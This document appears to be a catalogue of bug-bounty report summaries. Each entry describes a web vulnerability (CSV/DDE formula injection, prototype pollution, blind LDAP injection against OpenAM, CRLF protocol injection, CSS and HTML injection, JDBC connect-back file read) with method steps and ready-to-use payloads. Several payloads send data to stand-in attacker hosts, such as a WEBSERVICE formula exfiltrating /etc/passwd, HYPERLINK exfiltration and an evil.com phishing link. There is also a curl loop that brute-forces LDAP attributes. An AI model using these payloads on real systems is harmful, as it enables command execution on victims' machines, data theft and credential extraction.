Insight — Any endpoint that accepts a JSON body and forwards a field into a Mongo query is a NoSQL-injection candidate: swap the string for {$regex}, {$ne:null}, {$gt:''}. A pre-auth boolean oracle turns an opaque token into a fully enumerable secret via prefix binary search.
Real-world example
Stored CSS injection into style attribute -> position:fixed UI redress
◆ Medium
Specimen #587727 · phpbb · none · 28 votes · resolved
Program phpbbSurface web
Root cause
User input to a BBcode tag is placed into a span's CSS style attribute with insufficient filtering (quotes stripped but arbitrary CSS declarations allowed), enabling attacker-controlled positioning/appearance of page elements.
Method
- Post content using the vulnerable BBcode tag with CSS declarations as its value.
- Value is emitted into <span style="...">; use position:fixed to place an element anywhere on the page.
- Overlay/redress the page for UI-redressing/clickjacking-style attacks.
[tag]position:fixed;top:0;left:0;width:100%;height:100%;background:url(//ATTACKER/x)[/tag]
Insight — When input lands in a CSS context (style attribute or <style>), quote-stripping alone does not stop CSS injection: position:fixed enables overlays/UI redress, and url()/@import loads external resources for tracking. Under CSP, XSS may be blocked but CSS injection (redress + resource load) still lands. Also seen where a logo_url is placed unescaped into a <style> block (#315865).
Real-world example
Client-side HTTP parameter pollution into iframe URL via stale vendor JS
◆ Medium
Specimen #335339 · slack · awarded · 25 votes · resolved
Program slackSurface web
Root cause
A path segment is concatenated into a third-party iframe URL by outdated vendored JS; appended query params from the outer URL are carried into the iframe src, and duplicate keys later in the string override the intended values (HPP), letting an attacker load an arbitrary vendor form.
Method
- Note the page builds boards.greenhouse.io iframe src from the current path (job id).
- Append extra params to the outer URL so they get concatenated after the legitimate for=/token= params.
- Because duplicate params override, the iframe loads an attacker-chosen for=/token= (external Greenhouse form).
https://slack.com/careers/975649&for=hackerone&token=602938
# resulting iframe src:
https://boards.greenhouse.io/embed/job_app?for=slack&token=975649&b=https://slack.com/careers/975649&for=hackerone&token=602938
Insight — Where user-influenced values are string-concatenated into a URL and later duplicate keys win, you get HPP. Copied/vendored JS misses upstream patches - check third-party embed widgets for outdated bundled code. Impact: load attacker-controlled embedded forms under the trusted origin (phishing/content injection).
Real-world example
Swagger UI remote definition load via ?configUrl= / ?url=
◆ Medium
Specimen #2297561 · deptofdefense · none · 22 votes · resolved
Program deptofdefenseSurface web
Root cause
Swagger UI before 4.1.3 loads an OpenAPI/config definition from an attacker-supplied ?configUrl=/?url= parameter, so a crafted link renders remote (attacker-controlled) API definitions in the context of the trusted host (spoofing, and DOM-injection/XSS in some versions).
Method
- Locate a Swagger UI endpoint on the target (docs/swagger paths).
- Supply ?configUrl= (or ?url=) pointing at an attacker-hosted JSON/YAML definition.
- Swagger UI renders the attacker definition under the trusted origin for phishing / config manipulation.
https://TARGET/swagger/?configUrl=https://ATTACKER/malicious-config.json
# or: https://TARGET/swagger-ui/?url=https://ATTACKER/evil-openapi.json
Insight — Fingerprint Swagger UI version; <4.1.3 (and url-param variants) trust an external definition URL. Even without XSS this is a spoofing/phishing primitive on a trusted domain. Also seen on DoD via configUrl (#3124103).
Real-world example
JDBC/schema parameter injection -> connect-back MySQL arbitrary file read
◆ Medium
Specimen #1966083 · ibb · USD 2400 · 22 votes · resolved
Program ibbSurface otherChain JDBC param injection -> rogue MySQL LOCAL INFILE file rea
Root cause
Apache Airflow Spark provider (<4.0.1) did not filter connection schema parameters, letting an attacker supply a malicious JDBC URL so SparkJDBCHook connected to an attacker MySQL server that abused client file-read (allowLoadLocalInfile) to read files off the Airflow host.
Method
- Modify/craft a connection so SparkJDBCOperator uses an attacker JDBC URL/schema
- Run the DAG; Airflow connects out to the attacker MySQL server
- Server issues LOCAL INFILE requests to read arbitrary files from Airflow
jdbc:mysql://ATTACKER:3306/db?allowLoadLocalInfile=true&... # via unfiltered schema param
Insight — Any 'connect to a database/URL you control' feature is a file-read (and often deser->RCE) primitive: point it at a malicious server abusing JDBC LOCAL INFILE; audit connection-string params for missing allowlisting.
Real-world example
CSV / formula (DDE) injection via exported user-controlled fields
◆ Medium
Specimen #216243 · gitlab · none · 20 votes · resolved
Program gitlabSurface web
Root cause
User-controlled fields (issue title, attendee name, ticket title) are written into exported CSV without neutralizing leading formula characters; a spreadsheet then evaluates =/+/-/@ cells, and DDE (=cmd|...) can launch commands on the opener's machine.
Method
- Set a user-controlled field to a formula/DDE payload
- Export the data to CSV via the app's export feature
- Victim opens the CSV in Excel; the cell executes
=cmd|' /C calc'!A0
# equations that just prove eval: =7*7 =AND(2>1)
# quote-encapsulation bypass (see #118582): ":";-3+3+cmd|' /C calc'!D2
Insight — Any 'export to CSV/XLS' feature is a formula-injection sink. Prefix =,+,-,@ (and neutralize embedded quotes/semicolons) on export. Attacker input often enters via one app and detonates when staff export+open it (stored/second-order).
Real-world example
XML round-trip/parser-differential mutation in REXML
◆ Medium
Specimen #1104077 · ruby · USD 500 · 20 votes · resolved
Program rubySurface otherTag saml
Root cause
An XML parser that does not preserve document structure across parse->serialize->reparse (round-trip instability) lets an attacker craft a document whose logical structure changes after a downstream re-serialization. Same primitive as the Go encoding/xml bugs.
Method
- Craft an XML doc mixing DOCTYPE NOTATION with a quote inside the SYSTEM value plus CDATA that hides sibling elements
- Parse then re-serialize with the target library and reparse
- Observe the first child element changed (Y -> Z), i.e. structure mutated
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML
puts doc.root.elements[1].name # Y
doc = REXML::Document.new doc.to_s
puts doc.root.elements[1].name # Z (mutated)
Insight — When two components parse the same XML and one re-serializes it, look for parser differentials / round-trip instability. In SAML/SOAP this yields signature-wrapping-style auth bypass and privilege escalation because the security-checked tree differs from the acted-on tree.
Real-world example
JSON parser differential via duplicate key to smuggle privileged message (Jitsi)
◆ Medium
Specimen #2095061 · 8x8-bounty · awarded · 17 votes · resolved
Program 8x8-bountySurface webTag webhook
Root cause
The Jitsi Videobridge (Jackson) reads the FIRST occurrence of a duplicated JSON key to authorize a message type, while browser clients (JS JSON.parse) read the LAST; sending a duplicate colibriClass lets a participant pass an allowed type to the server that clients interpret as a privileged, server-only type.
Method
- Send a WebSocket JSON message with two colibriClass keys
- Set the first to an allowed type (passes bridge validation) and the last to a server-only type
- Clients act on the last value, executing the privileged control message
{"colibriClass":"EndpointStats","colibriClass":"ForwardedSources", ...}
Insight — When two components on a trust boundary parse the same JSON with different libraries, duplicate keys create a request-smuggling-style differential. Test first-vs-last key precedence across any validate-here/act-there boundary (Jackson vs V8, Go vs JS, etc.).
Real-world example
CSV / spreadsheet formula (DDE) injection via export feature
◆ Medium
Specimen #72785 · security · awarded · 13 votes · resolved
Program securitySurface webChain stored injection -> victim opens export -> DDE -> lTag supply-chain
Root cause
User-supplied text is written into an exported CSV without neutralizing leading formula triggers. When a victim opens the file, a cell starting with =,+,-,@ is evaluated by Excel/Sheets - enabling DDE command execution (with a warning) and data exfiltration.
Method
- Put a formula payload in any field that lands in an export (name, title, note)
- Get a privileged user to export and open the CSV
- Cell evaluates: benign (=1+1 -> 2) proves it; DDE payload attempts command exec
=1+1 // proof of evaluation
=cmd|' /C calc'!A0 // DDE command execution on Windows
@SUM(1+1)*cmd|' /C calc'!A0
Insight — Every export-to-CSV/XLS feature is a formula-injection sink; prefix =,+,-,@ (and | for DDE, tab/CR variants) with a quote. Test any field an admin later exports. Also seen in Chaturbate (#386116), WordCamp Talks (#277525), and Gratipay (#219323 - name field).
Real-world example
CSV/formula injection via stored fields -> client-side RCE and local file read
◆ Medium
Specimen #943255 · khanacademy · none · 11 votes · resolved
Program khanacademySurface webChain stored formula -> CSV export -> spreadsheet opens ->Tag file-upload
Root cause
Teacher CSV export writes student name/password fields without neutralizing spreadsheet formula prefixes; when opened in Excel/LibreOffice the cells evaluate as formulas, enabling DDE/command execution and file exfiltration on the victim's machine.
Method
- Set a stored field (student password/name) that is later exported to CSV to a spreadsheet-formula payload
- Get a teacher/admin to export and open the CSV
- Formula executes on their client (command exec / WEBSERVICE file read)
# client RCE (DDE/cmd):
;=2+5+cmd|' /C calc'!A0
# local file exfil via WEBSERVICE:
"=WEBSERVICE(CONCATENATE(""https://HOST:PORT"" , ('file:///etc/passwd'#$passwd.A1)))"
# double-quote-filter bypass using LibreOffice single-quote form:
",'=2+11',"
Insight — Any user-controlled value that lands in an exported CSV/XLSX is a formula-injection sink even if it is never rendered in the web UI (second-order). Payloads starting with = + - @ (or ; for LibreOffice) execute; test both Excel DDE (cmd|'/C ...') and =WEBSERVICE()/=HYPERLINK() for exfiltration. Double-quote escaping filters can be bypassed with LibreOffice's single-quote formula format.
Real-world example
Reflected File Download via JSONP callback + executable path
◆ Medium
Specimen #107960 · ui · awarded · 11 votes · resolved
Program uiSurface api
Root cause
A JSON/JSONP endpoint reflects an unsanitized callback into the body and allows an arbitrary trailing path segment (.cmd/.bat), so the browser downloads attacker-controlled command text as an executable file from the trusted origin.
Method
- Find a JSONP/API endpoint that reflects the callback param verbatim
- Append a fake filename with an executable extension in the path (Ubiquiti_update.cmd)
- Set callback to shell commands (e.g. \"||calc||)
- Deliver via <a download> or direct navigation; file downloads from the trusted domain
https://community.ubnt.com/restapi/.../Ubiquiti_update.cmd?restapi.response_format=json&callback=\%22||calc||
<a href='...Ubiquiti_update.cmd?...&callback=\%22||calc||' download='ubiquiti_update.cmd'>Download</a>
Insight — RFD needs three things: reflected input, a way to force a filename/extension (path segment or Content-Disposition), and permissive Content-Type. Restrict callbacks to alphanumerics to kill it.
Real-world example
Content-Disposition quote injection -> arbitrary download extension
◆ Medium
Specimen #1215263 · nextcloud · USD 125 · 10 votes · resolved
Program nextcloudSurface web
Root cause
Unescaped quotes in the filename of the Content-Disposition header let an attacker close the quoted filename and append a different extension, so a file shown as .png saves to disk as .bat.
Method
- Send/upload a file named test.bat".png (embedded quote)
- Victim views it as a benign .png and clicks download
- Browser honors the injected filename and writes test.bat
Content-Disposition: attachment; filename="test.bat".png"
Insight — Any endpoint that reflects a user-controlled filename into Content-Disposition without escaping quotes lets you control the saved extension; try name".ext to break out. Bypasses email/extension filters and abuses user trust.
Real-world example
CSV-injection sanitizer bypass via a leading newline before the formula
◆ Medium
Specimen #111192 · security · awarded · 10 votes · resolved
Program securitySurface webTag supply-chain
Root cause
A fix that only strips/escapes the first character when it is =,+,-,@ is bypassed by prefixing the payload with a newline (0x0A): the first char is now whitespace, so the check passes, but the spreadsheet still parses the following line as a formula.
Method
- If leading-character sanitization is present, prepend %0A (newline) before the formula
- Submit the value into an exportable field
- Export and open -> the post-newline cell is still evaluated
report[title]=%0A-2+3+cmd|' /C calc'!D2
Insight — When retesting a CSV-injection fix, try leading control chars (newline 0x0A, carriage return 0x0D, tab, space) and quotes before the formula trigger. First-character-only sanitizers are the common, bypassable pattern.
Real-world example
SMTP command injection via unvalidated MAIL FROM / RCPT TO (Net::SMTP)
◆ Medium
Specimen #137631 · ruby · none · 10 votes · resolved
Program rubySurface otherTag supply-chain
Root cause
Net::SMTP forwards caller-supplied envelope addresses into the SMTP dialogue without validating/escaping CRLF, so an address containing \r\n plus SMTP verbs injects additional protocol commands (extra recipients, arbitrary DATA).
Method
- Find where an app builds MAIL FROM/RCPT TO from user input (email field)
- Embed CRLF + SMTP commands in the address value
- Injected commands execute against the SMTP server (add recipients, spoof messages)
RCPT TO:<victim@example.com>\r\nRCPT TO:<attacker@evil.com>\r\nDATA\r\n...
Insight — Protocol-level injection mirrors CRLF/HTTP splitting: any library that passes user data into a line-based protocol (SMTP, IMAP, LDAP, Redis, FTP) without CRLF validation is injectable. Validate addresses against RFC and strip CR/LF at the protocol layer.
Real-world example
HTML/link injection into outgoing emails via unsanitized signup fields
◆ Medium
Specimen #175403 · brave · awarded · 10 votes · resolved
Program braveSurface webTag spoofing-phishing
Root cause
Newsletter/signup form fields are reflected unsanitized into the HTML body of a system-sent email, letting an attacker inject arbitrary links/markup that arrive from the trusted sender domain (phishing).
Method
- Enter HTML/anchor markup into signup form fields
- Trigger the confirmation/notification email
- Received email renders the injected link/markup from the trusted brand
<a href='http://evil.com'>YOU JUST WON 1m$</a>
Insight — Any user input echoed into templated emails is an HTML-injection/phishing sink with high deliverability (sent by the trusted domain). Test signup/contact/notification fields with HTML and check the resulting email body.
Real-world example
Prototype pollution via constructor.prototype (bypasses __proto__ filters)
◆ Medium
Specimen #380878 · nodejs-ecosystem · none · 7 votes · resolved
Program nodejs-ecosystemSurface apiChain prototype pollution -> Object.prototype flags -> possi
Root cause
A recursive merge/defaults function (defaults-deep) walks attacker-controlled keys without blocking prototype keys; sending {constructor:{prototype:{...}}} reaches Object.prototype and injects properties onto every object (CVE-2018-16486).
Method
- Find a recursive merge/extend/defaults/set on attacker-controlled JSON
- Send a payload nesting constructor.prototype (works even if __proto__ is filtered)
- Read back a global property to confirm Object.prototype was polluted
var defaultsDeep = require('defaults-deep');
var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
defaultsDeep({}, payload);
console.log(({}).isAdmin); // true
Insight — When testing prototype pollution, always try the constructor.prototype path in addition to __proto__ - naive guards blocklist only the literal __proto__ key. Polluted globals then flip auth flags, inject template gadgets, or DoS depending on the app.
Real-world example
CSV / spreadsheet formula injection in export feature
◆ Medium
Specimen #928280 · nextcloud · none · 6 votes · resolved
Program nextcloudSurface webChain stored user input -> unsanitized CSV export -> spreads
Root cause
Free-text answers are written into an exported CSV without neutralizing leading formula triggers (= + - @); when a victim opens the export in Excel/Calc the cell is evaluated, enabling data exfiltration, local file read, or command execution (with the app's trust prompt).
Method
- Submit a form answer beginning with a formula trigger character
- Get an admin/other user to export answers to CSV and open in a spreadsheet
- Formula executes in their spreadsheet context
=1+1
=cmd|'/C calc'!A0
=HYPERLINK("http://ATTACKER/?d="&A1,"click") ; exfil neighbouring cell
; mitigation: prefix cell value with a single quote
Insight — Any user text reaching a CSV/XLS export is a formula-injection sink; probe with leading =,+,-,@ and DDE/HYPERLINK payloads. Impact is client-side but can exfiltrate other users' rows.
Real-world example
CSV/DDE formula injection with export-filter bypass
◆ Medium
Specimen #223999 · weblate · none · 6 votes · resolved
Program weblateSurface webChain stored payload in user field -> admin CSV export -> DDTag file-upload
Root cause
User-supplied field values are written into an exported CSV without neutralizing spreadsheet formula prefixes; when the victim opens the file in Excel/Sheets, cells starting with =,+,-,@ (or DDE payloads) execute. Naive filters that only prefix a quote to those four characters are bypassable.
Method
- Store a formula/DDE payload in any field that appears in a CSV/XLSX export (name, translation, store name, ticket field)
- Trigger the export as the victim (often an admin)
- Payload executes on open; DDE can spawn local commands
# DDE command execution in a spreadsheet cell:
=cmd|' /C calc'!A0
# Filter bypasses observed:
%0A-3+3+cmd|' /C calc'!D2 # leading newline defeats a first-char check
;=cmd|' /C calc'!A0 # leading ';' acts as a new-cell separator, defeats leading-quote escaping
Insight — Any export-to-CSV/XLSX feature that echoes stored user data is a formula-injection sink, often second-order (payload stored in a profile/store-name field, fires when an admin exports). A correct fix must prefix a quote/tab AND account for the newline and separator (;) bypasses and for the pipe (|) used by DDE — checking only =,+,-,@ is insufficient.
Real-world example
Prototype pollution in Node deep-merge/extend utilities via __proto__ and constructor.prototype
◆ Medium
Specimen #430291 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface apiChain prototype pollution -> override Object.prototype.toString
Root cause
Recursive merge/extend/clone helpers copy attacker-controlled keys onto the target without excluding __proto__ / constructor / prototype, so a crafted JSON object writes onto Object.prototype, affecting every object process-wide. Overriding toString/valueOf breaks Express and forces 500s on all subsequent requests (guaranteed DoS); richer gadgets reach RCE.
Method
- Find an endpoint that JSON.parses user input and passes it into a deep merge/extend/clone (config merge, body handling)
- Send a payload with __proto__ or constructor.prototype nesting
- Object.prototype is polluted; set toString/valueOf to a string to crash Express, or plant gadget props for code-flow hijack
var extend = require('just-extend');
// __proto__ form
extend(true, {}, JSON.parse('{"__proto__":{"isAdmin":true}}'));
console.log({}.isAdmin); // true
// constructor.prototype bypass (defeats naive __proto__ key filters)
extend(true, {}, JSON.parse('{"constructor":{"prototype":{"isAdmin2":true}}}'));
console.log({}.isAdmin2); // true
// DoS gadget: {"__proto__":{"toString":"x"}} -> Express 500 on every request
Insight — Any recursive merge of untrusted JSON is a prototype-pollution sink. Two payload shapes matter: __proto__ AND constructor.prototype (the latter bypasses filters that only strip __proto__). Minimum impact is a reliable app-wide DoS by clobbering toString/valueOf; escalate to RCE where a gadget (e.g. template/spawn option) reads a polluted property. Probe body-parsing endpoints and config-merge code with both forms.
Real-world example
Blind LDAP injection via OpenAM Webfinger (CVE-2021-29156) -> data extraction
◆ Medium
Specimen #1278891 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webChain unauth Webfinger LDAP injection -> boolean oracle -> cTag oauth
Root cause
ForgeRock OpenAM before 13.5.1 builds an LDAP query from the unauthenticated Webfinger/OAuth resource parameter without escaping, enabling blind boolean LDAP injection: response differences (200 vs 404) let an unauthenticated attacker extract password hashes/session tokens/keys character-by-character.
Method
- Find an OpenAM (<13.5.1) Webfinger/OAuth endpoint.
- Inject LDAP filter conditions into the resource/username param and observe response-status oracle (200 = condition true).
- Iterate character-by-character to enumerate usernames and exfiltrate secret attribute values.
# boolean oracle via Webfinger resource param (see CVE-2021-29156 / nuclei template):
GET /openam/.well-known/webfinger?resource=acct:*)(userPassword=A* -> 200 (true)
GET /openam/.well-known/webfinger?resource=acct:*)(userPassword=Z* -> 404 (false)
Insight — LDAP injection is not only DoS/auth-bypass: with a response-status or content oracle it becomes blind data exfiltration (like blind SQLi). Fingerprint OpenAM version and Webfinger; automate char-by-char extraction of userPassword/session/key attributes.
Real-world example
Boolean-blind LDAP injection via OpenAM Webfinger (CVE-2021-29156)
◆ Medium
Specimen #1278050 · deptofdefense · none · 2 votes · resolved
Program deptofdefenseSurface webTag oauth
Root cause
ForgeRock OpenAM before 13.5.1 passes the unauthenticated Webfinger/OIDC-discovery 'resource' parameter into an LDAP search filter unsanitized, so an attacker can inject LDAP wildcard/filter syntax and infer data character-by-character from the HTTP status code (200 = match, 404 = no match).
Method
- Locate an OpenAM instance and hit the unauthenticated discovery endpoint: /openam/.well-known/webfinger
- Inject an LDAP wildcard into the resource value: resource=http://x/<prefix>*&rel=http://openid.net/specs/connect/1.0/issuer
- Observe the differential response: HTTP 200 OK means a username starts with <prefix>; HTTP 404 Not Found means it does not
- Seed the first two characters (single-char prefixes always 404), then extend char-by-char over {a..z}{0..9} to enumerate valid usernames without any lockout
- Repeat the same oracle against other LDAP attributes (userPassword hash, session token, signing private key) to extract them character-by-character
- For special chars in the fuzzed value, double-URL-encode (e.g. / -> %252F, + -> %252B)
# username / attribute enumeration oracle (200 = prefix exists, 404 = no)
GET /openam/.well-known/webfinger?resource=http://x/TARGETPREFIX*&rel=http://openid.net/specs/connect/1.0/issuer HTTP/1.1
Host: TARGET
# brute the first two chars, then extend:
for i in {a..z}{a..z}; do echo -n "$i = " && curl -s -o /dev/null -w '%{http_code}\n' \
"https://TARGET/openam/.well-known/webfinger?resource=http://x/$i*&rel=http://openid.net/specs/connect/1.0/issuer"; done
# special chars must be double-url-encoded, e.g. / -> %252F + -> %252B
Insight — OIDC/OAuth discovery and Webfinger endpoints (.well-known/webfinger, .well-known/openid-configuration) are unauthenticated LDAP-backed lookups on many identity products; wildcard '*' plus an HTTP-status oracle turns them into a blind LDAP-injection exfiltration primitive. Also check for absence of login lockout, which is what makes char-by-char extraction practical. Fingerprint OpenAM/ForgeRock and test /openam/.well-known/webfinger first.
Real-world example
Prototype pollution via recursive merge/extend in npm modules (__proto__ in JSON)
◆ Medium
Specimen #310446 · nodejs-ecosystem · none · 2 votes · resolved
Program nodejs-ecosystemSurface otherChain Prototype pollution -> overwrite toString/valueOf -> a
Root cause
Deep merge/extend/clone utilities recursively copy attacker-controlled JSON into a target object without guarding the __proto__ key, so a payload like {"__proto__":{"x":"y"}} walks into and mutates Object.prototype, adding/overriding properties on every object process-wide (DoS by clobbering toString/valueOf; RCE with richer gadgets).
Method
- Identify a server endpoint that parses user JSON and feeds it to a deep merge/extend/clone (deap.merge/extend/clone, smart-extend.deep, etc.)
- Send a JSON body containing a __proto__ key: {"__proto__":{"polluted":"yes"}}
- Confirm pollution: an unrelated fresh object ({}).polluted now returns the injected value
- Escalate: overwrite toString/valueOf to break Express (500 on every request = DoS), or craft gadget props toward RCE
var deap = require('deap');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log('Before: ' + a.oops); // undefined
deap.merge({}, JSON.parse(malicious_payload));
console.log('After: ' + a.oops); // It works !
// smart-extend variant (deep):
var extend = require('smart-extend');
extend.deep({}, JSON.parse('{"__proto__":{"polluted":"deep_done !"}}'));
Insight — Any recursive object merge/extend/clone that accepts user JSON is a prototype-pollution sink. Probe with {"__proto__":{"canary":1}} then read ({}).canary. Guaranteed DoS by polluting toString/valueOf (breaks Express -> 500s); escalate to RCE where downstream code uses polluted props as config/template/spawn options. Also test constructor.prototype as an alternate path when __proto__ is filtered.
Real-world example
Prototype pollution via recursive object merge (mergify npm)
◆ Medium
Specimen #439098 · nodejs-ecosystem · none · 2 votes · resolved
Program nodejs-ecosystemSurface other
Root cause
A deep/recursive merge function copies attacker-controlled JSON keys without excluding __proto__, so a __proto__ key mutates Object.prototype for the whole runtime.
Method
- Find an npm util or endpoint that deep-merges/clones user JSON (merge, extend, defaultsDeep, clone).
- Send a payload whose top-level key is __proto__ (or constructor.prototype) with a property to inject.
- Confirm pollution by reading the injected property on an unrelated fresh object.
var mergify = require('mergify');
var payload = '{"__proto__":{"polluted":"mergify_done !"}}';
var test = {};
mergify({}, JSON.parse(payload));
console.log(test.polluted); // 'mergify_done !'
Insight — Any library that recursively copies user-controlled JSON into an object is a prototype-pollution sink; test every deep-merge/clone/defaults path with a __proto__ key, then look for gadgets (DoS, property-driven auth/logic flips, EJS/Handlebars template->RCE).
Real-world example
Line-oriented protocol command injection via unvalidated input (CRLF into IRC)
◆ Medium
Specimen #29480 · irccloud · awarded · 1 votes · resolved
Program irccloudSurface webTag webhook
Root cause
User-controlled input (an IRC channel name) is passed into a newline-delimited backend protocol without stripping CR/LF, so embedded %0a%0d sequences are parsed as separate IRC commands (e.g. QUIT), giving the attacker command injection against the victim's IRC session.
Method
- Identify input that is forwarded into a line-based protocol (IRC/SMTP/Redis/memcached/LDAP).
- Inject encoded CR/LF (%0a%0d) plus a protocol command into the value.
- Have the victim's client join/use the crafted name so the injected command executes in their session (here QUIT force-closes the client).
- Escalate to other commands the protocol accepts (e.g. channel handover, mode changes).
#treehouse'){%0a%0dQUIT
Insight — Whenever web input is relayed verbatim into a newline-delimited backend protocol, test CR/LF injection with %0a%0d followed by a protocol verb. The same primitive underlies SMTP header injection, Redis/memcached command injection, and HTTP response splitting -- the sink protocol changes, the CRLF trick doesn't. Fix is to reject/strip CR/LF in names.
Real-world example
CSV/formula injection via exported user fields
◆ Medium
Specimen #92353 · automattic · awarded · 1 votes · resolved
Program automatticSurface webChain stored user field -> CSV export -> spreadsheet formula
Root cause
User-controlled fields are exported to CSV without neutralizing leading formula characters, so a value beginning with =, +, -, @ is evaluated as a spreadsheet formula when a victim opens the export in Excel/Sheets, enabling data exfiltration and command execution (DDE).
Method
- Find any feature that stores user input and later exports it to CSV/XLSX (contacts, members, orders, polls).
- Set a text field to a formula, e.g. =2*10 to confirm evaluation, or a DDE payload for command execution.
- Export and open in Excel; the cell evaluates the formula (or prompts DDE).
=2*10 // proof: cell shows 20
=cmd|' /C calc'!'A1' // DDE command execution when opened in Excel
Insight — Any input that can end up in a spreadsheet export is a formula-injection sink. Test =,+,-,@ (and tab/CR prefixes). Defenders must prefix such cells with a single quote or strip leading formula chars; note partial filters that only sanitize the first occurrence (see #118103) are bypassable.
Real-world example
Prototype pollution via recursive object-merge with __proto__ JSON payload
◆ Medium
Specimen #310706 · nodejs-ecosystem · none · 1 votes · resolved
Program nodejs-ecosystemSurface otherChain prototype pollution -> Object.prototype.toString/valueOf
Root cause
Deep/recursive object-merge utilities copy attacker-controlled keys onto the target without excluding __proto__/constructor, so a JSON body containing a __proto__ key writes onto Object.prototype and affects every object in the process.
Method
- Find a Node endpoint that JSON.parses request data and passes it into a merge/extend/clone utility (merge-object, deap.extend, merge-options, merge-recursive, etc.)
- Send a JSON body whose top-level key is __proto__ with a nested property
- Confirm pollution by reading the injected property off a fresh empty object ({}.oops)
- For DoS, overwrite Object.prototype.toString/valueOf with a string to break Express and force 500s on all subsequent requests; craft heavier gadget payloads for RCE where a sink exists
var merge = require('merge-object');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops); // undefined
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops); // It works !
Insight — Any server-side deep-merge of untrusted JSON is a prototype-pollution sink. Probe with {"__proto__":{"x":"y"}} and verify on a new object; guaranteed DoS via toString/valueOf clobber, potential RCE when a downstream gadget (template engine, child_process opts) reads polluted props.
Real-world example
Prototype pollution via dot-notation set() path (__proto__.isAdmin)
◆ Medium
Specimen #980599 · nodejs-ecosystem · none · 1 votes · resolved
Program nodejs-ecosystemSurface otherChain prototype pollution -> inject isAdmin/auth flag on Object
Root cause
A dot-notation object setter (ts-dot-prop set()) walks/creates nested keys from a string path without blocking __proto__ segments, so a path like '__proto__.isAdmin' writes onto Object.prototype.
Method
- Find a lib/endpoint that maps a string 'a.b.c' path to a nested object write (set/setValue/deepSet)
- Supply path '__proto__.isAdmin' with value true
- Read the property off a fresh object to confirm pollution
const tsDot = require('ts-dot-prop');
var obj = {};
console.log("Before : " + obj.isAdmin); // undefined
tsDot.set(obj, '__proto__.isAdmin', true);
console.log("After : " + obj.isAdmin); // true
Insight — Distinct from JSON-merge pollution: the vector is the STRING PATH, not a nested object. Anywhere user input becomes a dot-path into set()/lodash.set-style helpers, try '__proto__.<x>' and 'constructor.prototype.<x>' to inject flags like isAdmin.
Real-world example
Arbitrary SIP header injection via incomplete header blocklist
◆ Low
Specimen #3789570 · 8x8-bounty · USD 100 · 65 votes · resolved
Program 8x8-bountySurface otherChain Rayo IQ -> Jigasi extraHeaders -> SIP INVITE header in
Root cause
A Prosody filter stripped only three named internal headers from client Rayo <dial> stanzas and forwarded all other client-supplied headers unfiltered to Jigasi, which injected each entry verbatim into outbound SIP INVITEs.
Method
- As a user with outbound-call rights, send a Rayo <dial> IQ with extra headers
- Include identity headers not in the 3-name blocklist
- Jigasi copies them into the INVITE, spoofing caller ID to the SIP peer
<dial ...><header name="P-Asserted-Identity" value="sip:ceo@victim"/><header name="Remote-Party-ID" value="..."/></dial>
Insight — Blocklists that strip only a handful of known-bad header names are almost always bypassable; test any not-listed header (P-Asserted-Identity, Remote-Party-ID, X-*). Correct control is an allowlist. Look for header pass-through between protocol gateways.
Real-world example
Stored HTML injection in transactional email
◆ Low
Specimen #1536899 · acronis · none · 52 votes · resolved
Program acronisSurface web
Root cause
The 'first name' field of an email invitation was reflected unsanitized into the HTML welcome email body; an attacker registering a victim's email injects arbitrary HTML (links/images) rendered when the victim opens the trusted mail.
Method
- Register/invite using the victim email and inject HTML into the first-name field
- Victim confirms and receives the welcome email
- Injected HTML (fake login link, image) renders inside the branded email
First Name: "/><img src="x"><a href="https://evil.com">login</a>
Insight — Any user-controlled field echoed into an HTML email is a stored-HTML/phishing sink. Email clients strip JS so impact is content-spoofing, but a trusted-brand email carrying an attacker link is high-conviction phishing. Test name/subject fields for tag injection.
Real-world example
Inconsistent sanitization between persistence and websocket broadcast paths
◆ Low
Specimen #2541027 · mattermost · USD 150 · 40 votes · resolved
Program mattermostSurface webChain crafted embed -> broadcast to all channel viewers -> p
Root cause
Post metadata was sanitized when saved to the DB but not when the same post was broadcast over websockets, so a crafted metadata.embeds object reached clients unsanitized - allowing spoofed permalink/opengraph embeds and a type-confusion crash.
Method
- POST /api/v4/posts with metadata.embeds crafted (permalink with attacker-chosen user/message, or opengraph YouTube with arbitrary target URL)
- The realtime websocket 'posted' event delivers the raw embed to viewers
- For DoS, set embed post.message to an array (non-string) to white-screen webapp/desktop clients
metadata:{embeds:[{type:'permalink',data:{post:{user_id:'SYSTEM',message:['crash']},channel_display_name:'can-be-anything'}}]}
Insight — When the same object travels a validated (DB) and an unvalidated (websocket/broadcast) path, test the second path directly. Type-confusion (string vs array) in client renderers is a cheap stored DoS; broadcast embeds enable convincing spoofing.
Real-world example
libcurl cookie injection via 'none' file (CVE-2023-38546)
◆ Low
Specimen #2215578 · ibb · awarded · 34 votes · resolved
Program ibbSurface other
Root cause
curl_easy_duphandle clones the cookie-enabled state but not the cookies; if no cookie file was loaded the clone stores the filename literally as 'none', so a later transfer silently reads cookies from a file named 'none' in the CWD.
Method
- App creates an easy handle with cookies enabled but loads no cookie file
- App calls curl_easy_duphandle and reuses the clone
- If a readable file './none' exists in CWD, its cookies are injected into the request
# Attacker drops a valid Netscape cookie-jar named exactly:
./none
# in the working directory of any program using libcurl in this pattern
Insight — Library primitives can carry surprising filename defaults; when a program uses libcurl duphandle, a plant-a-file-named-'none' primitive lets you inject cookies. Review third-party lib CVEs for exploitable-in-context conditions.
Real-world example
Reflected HTML/CSS injection via query param inserted into DOM
◆ Low
Specimen #601192 · shopify · none · 17 votes · resolved
Program shopifySurface web
Root cause
A query parameter (candidate) is written into the DOM without filtering (only '=' is blocked), allowing arbitrary HTML/CSS injection; script-based XSS is stopped by browser auditor but CSS injection remains.
Method
- Put HTML/CSS markup in the ?candidate= parameter (avoid '=').
- Value is reflected into the DOM unescaped; use <style> for CSS injection (external resource load / redress).
https://interviewing.shopify.com/index.php?candidate=z%3Cstyle%3E%20*%20{%20background:%20url(https://ATTACKER/x.png)%20}
